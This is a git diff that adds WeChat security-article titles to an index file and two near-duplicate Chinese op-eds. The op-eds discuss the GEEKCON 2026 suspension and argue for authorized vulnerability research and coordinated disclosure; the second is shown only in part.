diff --git a/data.json b/data.json
index 2d0e3561..28e9c65b 100644
--- a/data.json
+++ b/data.json
@@ -28230,5 +28230,18 @@
"https://mp.weixin.qq.com/s/Qw48naJkuaXdkY8KOE9gmg": "GitHub开源AI渗透测试工具PentestCode:13个Agent共享战况,自己却踩过两个高危漏洞",
"https://mp.weixin.qq.com/s/kTNInh05PiLoA7jtwrWX4A": "PHP2Shell从漏洞修复到威胁狩猎的证据链分析",
"https://mp.weixin.qq.com/s/glXn19ZV8l0ZXeKYmEixYQ": "某统一身份认证通杀漏洞挖掘",
- "https://mp.weixin.qq.com/s/c8KxcpMBd6ho2NOErLVWLw": "从Node.js高危漏洞爆发,看山石网科的风险软件治理之道"
+ "https://mp.weixin.qq.com/s/c8KxcpMBd6ho2NOErLVWLw": "从Node.js高危漏洞爆发,看山石网科的风险软件治理之道",
+ "https://mp.weixin.qq.com/s/XOzEq3h7zSGoHIzNvuAkHg": "PHP 爆出 php2shell 双核 RCE(CVE-2026-109618 ∕ CVE-2026-109619):一个未授权 POST 请求就能拿 Shell",
+ "https://mp.weixin.qq.com/s/VUDNJ56kdsivJQDi3qjiNg": "php2shell漏洞全解析--带来的思考",
+ "https://mp.weixin.qq.com/s/cOFLScD2vSP-VndJRCHFhg": "金叶物联网大数据管理平台download接口存在任意文件读取漏洞 附POC",
+ "https://mp.weixin.qq.com/s/807FTqiNn9NK-L-YhKBrGQ": "基于模拟仿真的蓝牙协议栈漏洞挖掘",
+ "https://mp.weixin.qq.com/s/KL637HDvNZZCW6EZldWBNw": "GEEKCON 2026停赛之后:真正的安全,不怕漏洞被发现",
+ "https://mp.weixin.qq.com/s/WlJhzr8gILN1bFhBGK630Q": "【安全圈】Ruby正则引擎爆底层缺陷!4个GitLab满分RCE连环穿",
+ "https://mp.weixin.qq.com/s/VOAoXw3uAfPl_Ficqr1vlA": "PHP2Shell漏洞如何快速响应,安天发布多平台配置加固工具",
+ "https://mp.weixin.qq.com/s/wkiF7Mu9nsZUYztqKVRm3Q": "用缓冲区溢出漏洞把 3090 变成 A6000",
+ "https://mp.weixin.qq.com/s/xxeU6jBkFbAjnnuua_Zd8w": "GEEKCON 2026短暂停赛之后:真正的安全,不怕漏洞被发现",
+ "https://mp.weixin.qq.com/s/tBpoFfNle2AVhaT58Adk5Q": "漫谈AOSP蓝牙漏洞挖掘技术",
+ "https://mp.weixin.qq.com/s/vqP8hKHpfVY-o-FaJPKs1g": "【已复现】Node.js Brotli 解码器远程代码执行漏洞(CVE-2026-111497)安全风险通告",
+ "https://mp.weixin.qq.com/s/2wigI5nmCrFUjpOSI58_eQ": "十二年轮回:GitLab 满分 RCE 的解剖与警示",
+ "https://mp.weixin.qq.com/s/t95ToAiec2HqvfqwFoF9WA": "在看 | 周报:宜春网警打击侵犯公民个人信息犯罪团伙;PHP引擎曝两个9.2分免认证RCE漏洞,多国机构紧急下线网站"
}
\ No newline at end of file
diff --git a/doc/2026-10/GEEKCON 2026停赛之后:真正的安全,不怕漏洞被发现.md b/doc/2026-10/GEEKCON 2026停赛之后:真正的安全,不怕漏洞被发现.md
new file mode 100644
index 00000000..fe17f61f
--- /dev/null
+++ b/doc/2026-10/GEEKCON 2026停赛之后:真正的安全,不怕漏洞被发现.md
@@ -0,0 +1,310 @@
+# GEEKCON 2026停赛之后:真正的安全,不怕漏洞被发现
+ 利刃信安 2026-10-24 13:30
+
+
+# 晚上看到网络安全社群大量转发有关GEEKCON 2026赛事暂停的消息,心里很不是滋味。
+
+据网络流传的信息,在赛事无人机攻防演示环节发生举报后,现场活动受到影响,相关人员被要求配合调查,原定议程被迫暂停。事件的具体经过、法律性质以及各方责任,仍有待权威信息进一步澄清。但这件事已经在网络安全行业引发了广泛讨论,也让很多长期从事漏洞研究、安全测试和攻防对抗的人产生了疑问。
+
+**当安全研究人员试图通过技术手段发现产品漏洞时,他们究竟是在威胁安全,还是在帮助我们守住安全?**
+
+这个问题看似简单,实际上关系到整个网络安全行业的未来。
+
+我一直认为,
+网络安全最核心的理念,不是追求一个永远没有漏洞的世界,而是建立一套能够持续发现漏洞、及时修复漏洞、不断验证安全能力的机制。
+
+如果连发现问题的过程都无法得到合理对待,那么我们又该如何保证产品真正安全?
+## 一、没有被发现的漏洞,不等于不存在漏洞
+
+网络安全行业有一句老话:
+没有绝对的安全。
+
+无论是操作系统、服务器、网络设备,还是手机、汽车、智能家居和无人机,只要是由软件、硬件和通信系统构成的复杂产品,就可能存在设计缺陷、实现漏洞或配置问题。
+
+区别只在于,漏洞什么时候被发现,由谁发现,以及发现之后如何处置。
+
+从安全建设的角度来看,主动发现漏洞与被动等待攻击,是两种完全不同的选择。
+
+前者是在可控环境中,通过授权测试、漏洞研究和攻防演练,尽可能提前发现问题;后者则是等到漏洞被真实攻击者利用,甚至造成损失之后,再匆忙启动应急响应。
+
+两者的成本和风险,往往不可同日而语。
+
+试想一下,如果一款无人机存在身份认证缺陷、通信链路保护不足或者固件安全问题,厂商没有发现,用户没有发现,安全研究人员也不被允许研究,那么这些问题就真的不存在了吗?
+
+当然不是。
+
+**漏洞不会因为没人讨论就自动消失,也不会因为禁止研究就失去被恶意利用的可能。**
+
+现实中,攻击者并不会因为某个漏洞没有公开报道,就主动放弃寻找和利用它。
+
+相反,当漏洞研究和合法测试受到不合理的限制时,最先受到影响的,可能恰恰是那些愿意在公开、可控环境中帮助厂商发现问题的人。
+
+当然,这并不意味着所有打着安全研究旗号的行为都值得鼓励。未经授权入侵、危害他人设备、窃取数据、破坏业务系统,当然需要依法处理。
+
+但我们必须把两件事情分清楚:**发现漏洞的安全研究,与利用漏洞实施攻击,不是一回事。**
+
+如果连这两者之间的边界都无法厘清,网络安全就很容易陷入一种尴尬的局面:真正愿意帮助产品变得更安全的人,不知道自己的研究会不会惹来麻烦;而真正有恶意的人,却未必会因为一场赛事暂停就停止行动。
+
+这才是值得我们警惕的地方。
+## 二、以攻促防,不是鼓励攻击,而是主动验证安全
+
+为什么网络安全行业需要攻防演练、漏洞挖掘和安全赛事?
+
+因为仅靠产品厂商自己测试,很难穷尽所有潜在风险。
+
+开发团队熟悉自己的产品架构、设计逻辑和业务场景,但也可能受到既有设计思路的限制。安全研究人员则会从不同角度寻找问题,尝试发现开发者没有预料到的攻击路径。
+
+这种视角差异,正是漏洞研究的价值所在。
+
+漏洞赏金计划、负责任漏洞披露、红队演练、渗透测试以及各类安全竞赛,虽然形式不同,但在合适的授权和规则下,都可以成为提升安全能力的重要手段。
+
+它们的共同点是:在风险真正发生之前,尽可能把问题暴露出来。
+
+这就是“以攻促防”的意义。
+
+以攻促防,不是为了炫耀攻击能力,更不是为了鼓励破坏,而是通过模拟真实攻击者的思路,检验防守体系是否存在盲区。
+
+真正成熟的安全体系,不应该只问“我们的产品有没有安全问题”,还应该进一步追问:
+- 我们是否主动寻找过那些尚未被发现的问题?
+
+- 我们的防御措施能否抵御真实攻击?
+
+- 当漏洞被发现时,我们能否快速定位、修复并验证?
+
+- 当新的攻击技术出现时,我们能否及时调整防护策略?
+
+这些问题,才是衡量安全能力的关键。
+
+如果一款产品从未接受过充分的独立安全测试,我们凭什么断言它足够安全?
+
+如果一种安全能力只在厂商自己的测试环境中成立,却经不起外部研究人员的验证,那么这种安全能力究竟有多大价值?
+
+**安全不是一份写在产品说明书上的承诺,而是一种必须持续接受验证的能力。**
+## 三、厂商最应该担心的,不是漏洞被发现,而是漏洞被恶意利用
+
+对于厂商来说,产品被发现存在漏洞,当然不是一件令人愉快的事情。
+
+漏洞可能影响品牌声誉,增加修复成本,甚至带来法律责任和商业损失。这些现实问题完全可以理解。
+
+但必须认识到,发现漏洞与产品不安全之间,并不是简单的等号关系。
+
+恰恰相反,一家愿意主动开展安全测试、认真对待研究人员反馈、及时修复问题并持续改进产品的企业,未必没有漏洞,却可能拥有更成熟的安全治理能力。
+
+真正值得担忧的,是另一种情况:发现问题之后,第一反应不是评估风险、修复漏洞,而是想办法让问题不被看见。
+
+如果一个问题没有被公开讨论,就意味着它不存在吗?
+
+如果没有研究人员报告漏洞,就意味着产品没有漏洞吗?
+
+如果没有人测试产品,就意味着产品经得起攻击吗?
+
+显然不是。
+
+把问题藏起来,只能改变问题被看见的概率,不能改变问题本身。
+
+当然,我们也不能简单地把厂商的所有安全顾虑都理解为“捂盖子”。涉及公共安全的漏洞,可能需要控制技术细节的传播范围;在漏洞尚未修复时,直接公开可复现的攻击方法,也可能给攻击者提供便利。
+
+因此,合理的做法不是要求厂商无条件接受任何形式的公开披露,而是建立清晰、可信、可执行的漏洞协调机制。
+
+研究人员能够合法地报告问题,厂商能够及时响应和修复,必要时可以由第三方机构协调处理,涉及重大公共安全风险的,还应当按照相关规定及时报告。
+
+**问题可以被合理管理,但不能被简单地掩盖;技术细节可以受到保护,但发现问题的正当渠道不能被堵死。**
+
+厂商真正应该建立的,不是让别人不敢发现漏洞的壁垒,而是让漏洞能够被安全发现、及时修复、持续验证的机制。
+
+产品做得好不好,最终还是要看它能否经得起真实世界的检验。
+## 四、无人机安全不是小事,更不能因为重视安全就忽视安全研究
+
+这次事件之所以引发如此广泛的讨论,一个重要原因是,涉及的对象不是普通的软件系统,而是无人机。
+
+无人机已经广泛应用于航拍、测绘、物流、农业、电力巡检、应急救援等领域,同时也具有一定的公共安全和国防安全关联性。
+
+它的安全问题,确实值得高度重视。
+
+一旦无人机的身份认证、通信链路、控制接口、固件更新或权限管理存在缺陷,可能带来设备被非法控制、敏感信息泄露、飞行安全受到影响等风险。具体影响取决于产品设计、漏洞条件和实际使用环境,不能一概而论,但风险本身不容忽视。
+
+尤其是在无人机应用规模不断扩大的背景下,设备安全已经不再只是厂商内部的技术问题。
+
+它可能关联个人隐私、企业生产、公共安全,甚至更广泛的国家安全。
+
+正因为如此,我们才更应该认真对待无人机安全研究。
+
+如果一款无人机存在可以被攻击者利用的漏洞,那么提前在获得授权、具备安全保障的环境中发现它,难道不是一件有价值的事情吗?
+
+如果研究人员发现了可能影响飞行控制或通信安全的问题,我们更应该建立机制,让问题尽快进入风险评估、修复和验证流程。
+
+当然,无人机不同于普通的实验软件。研究过程中必须考虑设备失控、人员伤害、公共空域安全和敏感信息泄露等风险。赛事组织者也应当明确测试授权、设备隔离、场地管理、应急预案和操作边界。
+
+这不是对安全研究的否定,而是对安全研究提出更高要求。
+
+**越是关系公共安全的产品,越需要严格的测试规则;越是关系国家安全的产品,越不能缺少持续、独立、专业的安全验证。**
+
+如果因为无人机很重要,所以不允许研究人员发现它的问题,那就把安全的重要性理解反了。
+
+真正的安全,不是拒绝别人检查,而是经得起检查。
+## 五、合规是底线,但合规不等于安全
+
+还有一个问题值得认真讨论:合规与安全,到底是什么关系?
+
+我的理解是,合规是安全工作的基本前提,但合规本身并不能替代安全能力建设。
+
+合规解决的是制度、责任和行为边界问题,帮助组织明确哪些事情可以做、哪些事情不能做、出了问题由谁负责。
+
+而安全还要面对一个更复杂的现实:攻击技术在不断演进,产品在持续迭代,新的漏洞和攻击路径可能随时出现。
+
+今天符合要求的系统,明天可能暴露出新的风险;通过某项测试的产品,也不代表它永远不会出现漏洞。
+
+因此,不能把通过合规检查、取得认证或者完成一次安全测评,直接等同于产品已经足够安全。
+
+同样,安全研究也不能脱离法律和授权边界。
+
+研究人员需要明确测试对象、授权范围和操作限制,不能以发现漏洞为名随意侵入他人系统,更不能实施破坏、窃取数据或危害公共安全的行为。
+
+赛事组织者需要确保规则清晰、授权充分、测试环境可控;厂商需要建立合理的漏洞响应渠道;相关管理部门则需要依法区分不同性质的行为,依据事实、证据和适用规则作出判断。
+
+这几方面并不矛盾。
+
+**我们既不能以安全研究为理由突破法律边界,也不能因为强调合规,就把合理的安全研究空间一并压缩。**
+
+真正成熟的治理,不是简单地在“放任攻击”和“禁止研究”之间二选一,而是建立明确的边界,让合法研究能够开展,让恶意攻击受到约束,让安全问题能够被及时解决。
+## 六、如果漏洞不能在阳光下被发现,它可能在黑暗中被利用
+
+这也是我对这件事情最深的担忧。
+
+漏洞具有双重属性:它可以帮助防守方发现风险,也可能被攻击者用于实施攻击。
+
+问题不在于漏洞是否存在,而在于谁掌握了它、谁能够利用它,以及漏洞发现之后如何处置。
+
+在现实中,漏洞可能被报告给厂商,也可能通过协调披露机制交由相关机构处理;如果缺少有效渠道,或者漏洞长期得不到修复,相关信息也可能进入其他流通渠道,增加后续处置的难度。
+
+但这里必须说清楚:不能因为担心漏洞流入黑市,就断言某场赛事暂停必然会导致漏洞流入黑市。两者之间并不存在可以直接推导的因果关系。
+
+我们真正需要讨论的是制度设计。
+
+当研究人员发现问题时,有没有可信的报告渠道?
+
+厂商收到报告后,有没有明确的响应时限?
+
+对于影响重大、修复困难的漏洞,有没有专业机构协调?
+
+当双方对漏洞性质、影响范围或者测试授权存在争议时,有没有合理的申诉和争议解决机制?
+
+这些机制是否完善,直接影响漏洞能否从“被发现”走向“被修复”。
+
+如果一名研究人员投入大量时间发现漏洞,却无法获得合理的反馈,甚至无法确定怎样报告才不会触碰法律边界,那么这种不确定性就可能削弱安全研究的积极性。
+
+当然,研究人员应当遵守法律,不能把没有得到厂商认可作为擅自攻击的理由。
+
+但从行业治理的角度看,我们同样需要反思:怎样才能让主动发现问题的人有路可走,让恶意利用漏洞的人无机可乘?
+
+我认为,至少应当做好三件事。
+
+第一,建立清晰的授权研究和测试规则,让研究人员知道什么能做、什么不能做。
+
+第二,建立高效的漏洞接收、评估、修复和协调披露机制,让报告的问题有人处理、有结果可追踪。
+
+第三,对具有重大公共安全影响的漏洞,建立专业的风险分级和协调机制,必要时依法限制敏感技术细节的传播,同时推动相关风险尽快得到控制。
+
+**安全治理的目标,不应该是让漏洞无处可见,而应该是让漏洞被发现之后,能够尽快进入正确的处理流程。**
+## 七、网络安全行业需要的,不是更少的研究者,而是更成熟的规则
+
+对于GEEKCON 2026相关事件,我认为,在具体事实和责任尚待进一步核实的情况下,不宜简单给任何一方下结论。
+
+但这件事确实提出了一个值得全行业共同思考的问题:当安全研究涉及真实产品、真实设备和公共安全时,我们究竟应该如何划定边界?
+
+安全赛事不是天然免于法律约束的特殊场景,赛事组织者必须重视授权、风险控制和现场管理。
+
+厂商也有权依法保护自己的产品、知识产权和合法权益。但面对合理的安全研究,最有价值的回应应当是基于事实的技术交流、风险评估和漏洞修复,而不是让争议停留在立场对立上。
+
+相关管理部门需要依法处理具体问题,同时也可以通过清晰的规则,帮助行业明确合法研究的边界。
+
+我期待,未来能够形成更加成熟的漏洞治理生态:
+- 对研究人员,明确授权范围、测试边界和披露规则;
+
+- 对赛事组织者,明确设备管理、现场安全和应急处置要求;
+
+- 对产品厂商,建立开放、可信的漏洞报告与修复机制;
+
+- 对行业组织,推动标准化的漏洞协调披露和争议处理流程;
+
+- 对监管部门,进一步完善规则衔接,让合法研究有据可依,让恶意攻击依法受到处理。
+
+我们需要的不是没有漏洞的宣传,而是能够持续改进的产品;不是让所有人闭口不谈安全问题,而是让问题在造成损失之前得到解决。
+
+网络安全行业的发展,离不开研究人员、产品厂商、赛事组织者、科研机构和监管部门的共同努力。
+
+如果这些角色之间缺乏信任,缺少规则,最终受影响的可能不只是某一场比赛,而是整个行业发现问题、解决问题的能力。
+## 写在最后:真正的安全,不能建立在看不见问题的基础上
+
+我从事网络安全工作多年,始终认为,安全不是一项可以一劳永逸完成的工作。
+
+攻击技术在发展,防御技术也必须发展;漏洞在不断出现,发现和修复漏洞的能力也必须不断提升。
+
+面对无人机这样的新型智能设备,我们既要重视它可能带来的安全风险,也要鼓励在合法授权、规则清晰、风险可控的前提下开展专业研究。
+
+不能因为担心漏洞被利用,就否定发现漏洞的价值;也不能因为强调技术探索,就忽视法律边界和公共安全。
+
+两者之间需要的是规则、责任和专业能力,而不是简单的对立。
+
+我想起一句话:防民之口,甚于防川。
+
+这句话原本讨论的是治水与民意,但放在今天的安全治理中,也有值得思考的地方。风险不会因为我们不谈论它就消失,问题也不会因为我们不允许别人发现就自动解决。
+
+尤其是在网络攻防对抗日益复杂的今天,真正的攻击者不会因为一场安全赛事暂停,就放弃研究漏洞;真正的安全风险,也不会因为某个问题没有公开报道,就停止存在。
+
+如果我们希望产品更加安全,就应该让问题更早暴露,让修复更快发生,让防御能力持续接受验证。
+
+**安全不是捂住漏洞,而是修复漏洞;不是让发现问题的人闭嘴,而是让问题得到解决;不是害怕被攻击,而是通过持续验证,让自己更经得起攻击。**
+
+希望GEEKCON 2026相关事件最终能够得到客观、依法的处理,也希望这场争议能够推动行业进一步完善规则,而不是让更多人对安全研究产生畏惧。
+
+因为真正值得我们担心的,从来不是有人发现了漏洞。
+
+而是当漏洞真实存在时,已经没有多少人愿意、也没有多少人敢于去发现它。
+
+当我们谈论网络安全时,最终守护的不是某一家厂商的面子,也不是某一场赛事的荣誉,而是产品使用者的权益、社会运行的安全,以及整个数字世界面对真实攻击时的抵御能力。
+
+**愿每一个被发现的漏洞,都能成为安全进步的起点,而不是一场争议的终点。**
+
+
+
+**END**
+
+**推荐阅读**
+
+[每个企业都应该有一套AI自动化渗透测试系统](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494101&idx=1&sn=52dc61c0da0f268c83362d00a1b3a3ea&scene=21#wechat_redirect)
+
+
+2026-10-23
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494101&idx=1&sn=52dc61c0da0f268c83362d00a1b3a3ea&scene=21#wechat_redirect)
+
+
+[驭智·HARNESS 以智慧安全重构攻防新秩序|绿盟科技2026 TechWorld智慧安全大会在京召开](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494094&idx=1&sn=5392cbee9dc92a58c6735977c3ef1375&scene=21#wechat_redirect)
+
+
+2026-10-22
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494094&idx=1&sn=5392cbee9dc92a58c6735977c3ef1375&scene=21#wechat_redirect)
+
+
+[一文讲透智能体安全的五要素:身份、权限、行为、数据、供应链](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494087&idx=1&sn=c69bc99dc1ad7950a0b815a3164d266a&scene=21#wechat_redirect)
+
+
+2026-10-21
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494087&idx=1&sn=c69bc99dc1ad7950a0b815a3164d266a&scene=21#wechat_redirect)
+
+
+[你刷的每条广告,可能都是一次零点击黑客攻击](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494076&idx=1&sn=583f8d237eee30778a0d625002c5753e&scene=21#wechat_redirect)
+
+
+2026-10-19
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494076&idx=1&sn=583f8d237eee30778a0d625002c5753e&scene=21#wechat_redirect)
+
+
+[AI 间谍战役瞄准政府 Linux:黑客用大模型写攻击脚本,专偷邮箱和数据库](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494075&idx=1&sn=049dfa062e33f3d8ad3288a2b9fab20f&scene=21#wechat_redirect)
+
+
+2026-10-18
+[](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247494075&idx=1&sn=049dfa062e33f3d8ad3288a2b9fab20f&scene=21#wechat_redirect)
+
+
+
diff --git a/doc/2026-10/GEEKCON 2026短暂停赛之后:真正的安全,不怕漏洞被发现.md b/doc/2026-10/GEEKCON 2026短暂停赛之后:真正的安全,不怕漏洞被发现.md
new file mode 100644
index 00000000..0cacfec4
--- /dev/null
+++ b/doc/2026-10/GEEKCON 2026短暂停赛之后:真正的安全,不怕漏洞被发现.md
@@ -0,0 +1,311 @@
+# GEEKCON 2026短暂停赛之后:真正的安全,不怕漏洞被发现
+原创 承影
+ 承影 兰花豆说网络安全 2026-10-24 12:51
+
+
+# 晚上看到网络安全社群大量转发有关GEEKCON 2026赛事因相关原因中途暂停后继续进行的消息,心里很不是滋味。
+
+据网络流传的信息,在赛事无人机攻防演示环节发生举报后,现场活动受到影响,相关人员被要求配合调查,原定议程被迫暂停后继续。事件的具体经过、法律性质以及各方责任,仍有待权威信息进一步澄清。但这件事已经在网络安全行业引发了广泛讨论,也让很多长期从事漏洞研究、安全测试和攻防对抗的人产生了疑问。
+
+**当安全研究人员试图通过技术手段发现产品漏洞时,他们究竟是在威胁安全,还是在帮助我们守住安全?**
+
+这个问题看似简单,实际上关系到整个网络安全行业的未来。
+
+我一直认为,
+网络安全最核心的理念,不是追求一个永远没有漏洞的世界,而是建立一套能够持续发现漏洞、及时修复漏洞、不断验证安全能力的机制。
+
+如果连发现问题的过程都无法得到合理对待,那么我们又该如何保证产品真正安全?
+## 一、没有被发现的漏洞,不等于不存在漏洞
+
+网络安全行业有一句老话:
+没有绝对的安全。
+
+无论是操作系统、服务器、网络设备,还是手机、汽车、智能家居和无人机,只要是由软件、硬件和通信系统构成的复杂产品,就可能存在设计缺陷、实现漏洞或配置问题。
+
+区别只在于,漏洞什么时候被发现,由谁发现,以及发现之后如何处置。
+
+从安全建设的角度来看,主动发现漏洞与被动等待攻击,是两种完全不同的选择。
+
+前者是在可控环境中,通过授权测试、漏洞研究和攻防演练,尽可能提前发现问题;后者则是等到漏洞被真实攻击者利用,甚至造成损失之后,再匆忙启动应急响应。
+
+两者的成本和风险,往往不可同日而语。
+
+试想一下,如果一款无人机存在身份认证缺陷、通信链路保护不足或者固件安全问题,厂商没有发现,用户没有发现,安全研究人员也不被允许研究,那么这些问题就真的不存在了吗?
+
+当然不是。
+
+**漏洞不会因为没人讨论就自动消失,也不会因为禁止研究就失去被恶意利用的可能。**
+
+现实中,攻击者并不会因为某个漏洞没有公开报道,就主动放弃寻找和利用它。
+
+相反,当漏洞研究和合法测试受到不合理的限制时,最先受到影响的,可能恰恰是那些愿意在公开、可控环境中帮助厂商发现问题的人。
+
+当然,这并不意味着所有打着安全研究旗号的行为都值得鼓励。未经授权入侵、危害他人设备、窃取数据、破坏业务系统,当然需要依法处理。
+
+但我们必须把两件事情分清楚:**发现漏洞的安全研究,与利用漏洞实施攻击,不是一回事。**
+
+如果连这两者之间的边界都无法厘清,网络安全就很容易陷入一种尴尬的局面:真正愿意帮助产品变得更安全的人,不知道自己的研究会不会惹来麻烦;而真正有恶意的人,却未必会因为一场赛事暂停就停止行动。
+
+这才是值得我们警惕的地方。
+## 二、以攻促防,不是鼓励攻击,而是主动验证安全
+
+为什么网络安全行业需要攻防演练、漏洞挖掘和安全赛事?
+
+因为仅靠产品厂商自己测试,很难穷尽所有潜在风险。
+
+开发团队熟悉自己的产品架构、设计逻辑和业务场景,但也可能受到既有设计思路的限制。安全研究人员则会从不同角度寻找问题,尝试发现开发者没有预料到的攻击路径。
+
+这种视角差异,正是漏洞研究的价值所在。
+
+漏洞赏金计划、负责任漏洞披露、红队演练、渗透测试以及各类安全竞赛,虽然形式不同,但在合适的授权和规则下,都可以成为提升安全能力的重要手段。
+
+它们的共同点是:在风险真正发生之前,尽可能把问题暴露出来。
+
+这就是“以攻促防”的意义。
+
+以攻促防,不是为了炫耀攻击能力,更不是为了鼓励破坏,而是通过模拟真实攻击者的思路,检验防守体系是否存在盲区。
+
+真正成熟的安全体系,不应该只问“我们的产品有没有安全问题”,还应该进一步追问:
+- 我们是否主动寻找过那些尚未被发现的问题?
+
+- 我们的防御措施能否抵御真实攻击?
+
+- 当漏洞被发现时,我们能否快速定位、修复并验证?
+
+- 当新的攻击技术出现时,我们能否及时调整防护策略?
+
+这些问题,才是衡量安全能力的关键。
+
+如果一款产品从未接受过充分的独立安全测试,我们凭什么断言它足够安全?
+
+如果一种安全能力只在厂商自己的测试环境中成立,却经不起外部研究人员的验证,那么这种安全能力究竟有多大价值?
+
+**安全不是一份写在产品说明书上的承诺,而是一种必须持续接受验证的能力。**
+## 三、厂商最应该担心的,不是漏洞被发现,而是漏洞被恶意利用
+
+对于厂商来说,产品被发现存在漏洞,当然不是一件令人愉快的事情。
+
+漏洞可能影响品牌声誉,增加修复成本,甚至带来法律责任和商业损失。这些现实问题完全可以理解。
+
+但必须认识到,发现漏洞与产品不安全之间,并不是简单的等号关系。
+
+恰恰相反,一家愿意主动开展安全测试、认真对待研究人员反馈、及时修复问题并持续改进产品的企业,未必没有漏洞,却可能拥有更成熟的安全治理能力。
+
+真正值得担忧的,是另一种情况:发现问题之后,第一反应不是评估风险、修复漏洞,而是想办法让问题不被看见。
+
+如果一个问题没有被公开讨论,就意味着它不存在吗?
+
+如果没有研究人员报告漏洞,就意味着产品没有漏洞吗?
+
+如果没有人测试产品,就意味着产品经得起攻击吗?
+
+显然不是。
+
+把问题藏起来,只能改变问题被看见的概率,不能改变问题本身。
+
+当然,我们也不能简单地把厂商的所有安全顾虑都理解为“捂盖子”。涉及公共安全的漏洞,可能需要控制技术细节的传播范围;在漏洞尚未修复时,直接公开可复现的攻击方法,也可能给攻击者提供便利。
+
+因此,合理的做法不是要求厂商无条件接受任何形式的公开披露,而是建立清晰、可信、可执行的漏洞协调机制。
+
+研究人员能够合法地报告问题,厂商能够及时响应和修复,必要时可以由第三方机构协调处理,涉及重大公共安全风险的,还应当按照相关规定及时报告。
+
+**问题可以被合理管理,但不能被简单地掩盖;技术细节可以受到保护,但发现问题的正当渠道不能被堵死。**
+
+厂商真正应该建立的,不是让别人不敢发现漏洞的壁垒,而是让漏洞能够被安全发现、及时修复、持续验证的机制。
+
+产品做得好不好,最终还是要看它能否经得起真实世界的检验。
+## 四、无人机安全不是小事,更不能因为重视安全就忽视安全研究
+
+这次事件之所以引发如此广泛的讨论,一个重要原因是,涉及的对象不是普通的软件系统,而是无人机。
+
+无人机已经广泛应用于航拍、测绘、物流、农业、电力巡检、应急救援等领域,同时也具有一定的公共安全和国防安全关联性。
+
+它的安全问题,确实值得高度重视。
+
+一旦无人机的身份认证、通信链路、控制接口、固件更新或权限管理存在缺陷,可能带来设备被非法控制、敏感信息泄露、飞行安全受到影响等风险。具体影响取决于产品设计、漏洞条件和实际使用环境,不能一概而论,但风险本身不容忽视。
+
+尤其是在无人机应用规模不断扩大的背景下,设备安全已经不再只是厂商内部的技术问题。
+
+它可能关联个人隐私、企业生产、公共安全,甚至更广泛的国家安全。
+
+正因为如此,我们才更应该认真对待无人机安全研究。
+
+如果一款无人机存在可以被攻击者利用的漏洞,那么提前在获得授权、具备安全保障的环境中发现它,难道不是一件有价值的事情吗?
+
+如果研究人员发现了可能影响飞行控制或通信安全的问题,我们更应该建立机制,让问题尽快进入风险评估、修复和验证流程。
+
+当然,无人机不同于普通的实验软件。研究过程中必须考虑设备失控、人员伤害、公共空域安全和敏感信息泄露等风险。赛事组织者也应当明确测试授权、设备隔离、场地管理、应急预案和操作边界。
+
+这不是对安全研究的否定,而是对安全研究提出更高要求。
+
+**越是关系公共安全的产品,越需要严格的测试规则;越是关系国家安全的产品,越不能缺少持续、独立、专业的安全验证。**
+
+如果因为无人机很重要,所以不允许研究人员发现它的问题,那就把安全的重要性理解反了。
+
+真正的安全,不是拒绝别人检查,而是经得起检查。
+## 五、合规是底线,但合规不等于安全
+
+还有一个问题值得认真讨论:合规与安全,到底是什么关系?
+
+我的理解是,合规是安全工作的基本前提,但合规本身并不能替代安全能力建设。
+
+合规解决的是制度、责任和行为边界问题,帮助组织明确哪些事情可以做、哪些事情不能做、出了问题由谁负责。
+
+而安全还要面对一个更复杂的现实:攻击技术在不断演进,产品在持续迭代,新的漏洞和攻击路径可能随时出现。
+
+今天符合要求的系统,明天可能暴露出新的风险;通过某项测试的产品,也不代表它永远不会出现漏洞。
+
+因此,不能把通过合规检查、取得认证或者完成一次安全测评,直接等同于产品已经足够安全。
+
+同样,安全研究也不能脱离法律和授权边界。
+
+研究人员需要明确测试对象、授权范围和操作限制,不能以发现漏洞为名随意侵入他人系统,更不能实施破坏、窃取数据或危害公共安全的行为。
+
+赛事组织者需要确保规则清晰、授权充分、测试环境可控;厂商需要建立合理的漏洞响应渠道;相关管理部门则需要依法区分不同性质的行为,依据事实、证据和适用规则作出判断。
+
+这几方面并不矛盾。
+
+**我们既不能以安全研究为理由突破法律边界,也不能因为强调合规,就把合理的安全研究空间一并压缩。**
+
+真正成熟的治理,不是简单地在“放任攻击”和“禁止研究”之间二选一,而是建立明确的边界,让合法研究能够开展,让恶意攻击受到约束,让安全问题能够被及时解决。
+## 六、如果漏洞不能在阳光下被发现,它可能在黑暗中被利用
+
+这也是我对这件事情最深的担忧。
+
+漏洞具有双重属性:它可以帮助防守方发现风险,也可能被攻击者用于实施攻击。
+
+问题不在于漏洞是否存在,而在于谁掌握了它、谁能够利用它,以及漏洞发现之后如何处置。
+
+在现实中,漏洞可能被报告给厂商,也可能通过协调披露机制交由相关机构处理;如果缺少有效渠道,或者漏洞长期得不到修复,相关信息也可能进入其他流通渠道,增加后续处置的难度。
+
+但这里必须说清楚:不能因为担心漏洞流入黑市,就断言某场赛事暂停必然会导致漏洞流入黑市。两者之间并不存在可以直接推导的因果关系。
+
+我们真正需要讨论的是制度设计。
+
+当研究人员发现问题时,有没有可信的报告渠道?
+
+厂商收到报告后,有没有明确的响应时限?
+
+对于影响重大、修复困难的漏洞,有没有专业机构协调?
+
+当双方对漏洞性质、影响范围或者测试授权存在争议时,有没有合理的申诉和争议解决机制?
+
+这些机制是否完善,直接影响漏洞能否从“被发现”走向“被修复”。
+
+如果一名研究人员投入大量时间发现漏洞,却无法获得合理的反馈,甚至无法确定怎样报告才不会触碰法律边界,那么这种不确定性就可能削弱安全研究的积极性。
+
+当然,研究人员应当遵守法律,不能把没有得到厂商认可作为擅自攻击的理由。
+
+但从行业治理的角度看,我们同样需要反思:怎样才能让主动发现问题的人有路可走,让恶意利用漏洞的人无机可乘?
+
